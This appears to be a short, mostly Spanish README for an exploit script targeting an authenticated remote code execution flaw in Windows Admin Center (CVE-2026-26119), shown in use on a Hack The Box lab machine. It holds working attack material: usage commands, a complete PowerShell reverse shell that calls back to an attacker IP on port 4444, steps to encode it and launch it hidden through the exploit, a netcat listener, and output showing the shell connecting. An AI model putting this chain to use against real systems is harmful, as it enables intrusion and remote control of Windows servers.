CVE-2026-26119

WAC RCE - CVE-2026-26119 Windows Admin Center RCE autenticado mediante WinREST/PowerShell invokeCommand.

Uso:

    python3 wac_rce.py <user> <pass> "<powershell command>"
    WAC_PASS=<pass> python3 wac_rce.py <user>

Variables de entorno:

    WAC_BASE  - override target base URL (default below)
    WAC_PASS  - password, used if not passed positionally

---

┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ python3 wac_rce.py 'anderson.w' 'Password' 'whoami'      
danglingtree\anderson.w

Cómo obtener la reverse shell:

cat > revshell.ps1 << 'EOF'                                      
$client = New-Object System.Net.Sockets.TCPClient('tun0 IP',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
EOF

cat revshell.ps1 | iconv -t utf-16le | base64 -w 0 > revshell.b64

crear un listener nc:

nc -nlvp 4444

python3 wac_rce.py 'anderson.w' 'Password' "Start-Process powershell -WindowStyle Hidden -ArgumentList '-nop -enc $(cat revshell.b64)'"

┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [tun0] from (UNKNOWN) [IP] 54318
$Host.UI.RawUI.WindowTitle = "shell"
PS C:\Users\anderson.w\Documents>